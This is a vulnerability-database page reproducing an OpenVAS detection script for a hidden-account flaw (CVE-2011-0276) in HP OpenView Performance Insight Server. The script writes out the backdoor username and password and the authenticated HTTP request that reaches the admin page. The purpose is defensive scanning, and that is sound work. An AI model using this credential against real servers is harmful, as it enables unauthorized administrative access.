Lucene search

K
openvasCopyright (C) 2011 Greenbone Networks GmbHOPENVAS:1361412562310103060
HistoryFeb 03, 2011 - 12:00 a.m.

HP OpenView Performance Insight Server 'doPost()' Remote Arbitrary Code Execution Vulnerability

2011-02-0300:00:00
Copyright (C) 2011 Greenbone Networks GmbH
plugins.openvas.org
17

0.972 High

EPSS

Percentile

99.8%

HP OpenView Performance Insight Server is prone to a remote
code-execution vulnerability.

###############################################################################
# OpenVAS Vulnerability Test
#
# HP OpenView Performance Insight Server 'doPost()' Remote Arbitrary Code Execution Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (C) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:hp:openview_performance_insight";

if(description)
{
  script_xref(name:"URL", value:"https://www.securityfocus.com/bid/46079");
  script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-11-034/");
  script_xref(name:"URL", value:"http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02695453");
  script_oid("1.3.6.1.4.1.25623.1.0.103060");
  script_version("2020-02-27T14:51:55+0000");
  script_tag(name:"last_modification", value:"2020-02-27 14:51:55 +0000 (Thu, 27 Feb 2020)");
  script_tag(name:"creation_date", value:"2011-02-03 16:40:04 +0100 (Thu, 03 Feb 2011)");
  script_bugtraq_id(46079);
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2011-0276");

  script_name("HP OpenView Performance Insight Server 'doPost()' Remote Arbitrary Code Execution Vulnerability");
  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_dependencies("gb_hp_performance_insight_detect.nasl", "gb_default_credentials_options.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("hp/openview_performance_insight/detected");
  script_exclude_keys("default_credentials/disable_default_account_checks");

  script_tag(name:"solution", value:"Updates are available. Please see the references for details.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"HP OpenView Performance Insight Server is prone to a remote
  code-execution vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute arbitrary code with
  SYSTEM-level privileges. Successful exploits will completely compromise affected computers.");

  exit(0);
}

if(get_kb_item("default_credentials/disable_default_account_checks"))
  exit(0);

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

host = http_host_name(port:port);

userpass = "hch908v:z6t0j$+i";

url = "/reports/home?context=home&type=header&ov_user=hch908v";

req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);
if("401 Unauthorized" >!< res)
  exit(0); # just to be sure

userpass64 = base64(str:userpass);

req = string("GET ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Authorization: Basic ", userpass64, "\r\n",
             "\r\n");
res = http_keepalive_send_recv(port:port, data:req);

if("Log off hch908v" >< res && "Administration</a>" >< res) {
  report = string("The Scanner was able to access the URL '", url, "'\nusing username 'hch908v' and password 'z6t0j$+i'.");
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

0.972 High

EPSS

Percentile

99.8%

Related for OPENVAS:1361412562310103060